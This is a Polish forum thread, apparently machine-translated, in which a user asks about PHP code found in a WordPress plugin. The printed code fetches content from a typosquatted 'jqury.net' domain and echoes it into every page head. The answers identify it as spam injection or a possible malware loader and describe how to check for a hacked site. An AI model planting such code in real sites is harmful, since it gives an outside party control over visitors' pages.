Znalazłem to we wtyczce. Co to robi? czy to jest niebezpieczne?
add_action('admin_enqueue_scripts', 'pw_load_scripts');
if (!function_exists('wp__head'){
function wp__head() {
if(function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
$jquery = curl_exec($ch);
curl_close($ch);
echo "$jquery";
}
}
add_action('wp_head', 'wp__head');
}
Odpowiedzi:
Ładuje blok znaczników zawierający spam (myślałem o opublikowaniu trochę źródła, ale nie chcę w żaden sposób reklamować treści) z domeny, która jest bardzo błędnie napisana w domenie
http://jquery.com/
- - używana przez jQuery , renomowana i popularna biblioteka Javascript oraz taka, którą WordPress zawiera w Core. Myślę, że chodzi o to, aby ładować tę bibliotekę, podczas gdy w rzeczywistości ładuje coś zupełnie innego.I to w inny sposób próbuje wyglądać na ładowanie jQuery. Zwróć uwagę na nazwę zmiennej
$jquery
.Może także próbować załadować złośliwe skrypty. Nie sprawdziłem. I byłby zdecydowanie nazwać to niebezpieczne zwłaszcza, że treść na tej stronie mogą ulec zmianie w dowolnym czasie domenę kontrolerów ochoty.
W najlepszym wypadku spowoduje to uszkodzenie Twojej witryny, ponieważ wyszukiwarki patrzą w dół na strony rozprzestrzeniające spam.
Nie używaj tego. Nie robi nic korzystnego dla ciebie ani nikogo w sieci poza osobami prowadzącymi stronę. Jeśli znalazłeś to na renomowanej stronie, zgłoś to.
źródło
Tak, to niebezpieczny kod, ładowanie treści ze strony ze spamem.
Nie podałeś nazwy wtyczki, ale jeśli znalazłeś ten kod po jego zainstalowaniu w Twojej witrynie, możliwe, że kod wtyczki nie pochodzi od programisty w ten sposób, ale został zhakowany po zainstalowaniu. W takim przypadku złośliwy kod może znajdować się w większej części witryny niż tylko w tej wtyczce.
Sprawdź pobrany kod wtyczki z dowolnego miejsca, w którym pierwotnie ją otrzymałeś, i sprawdź, czy ten złośliwy kod był tam pierwotnie. Jeśli nie, Twoja witryna została zhakowana. Jeśli zdecydujesz, że tak jest, przeczytaj ten artykuł z Kodeksu .
źródło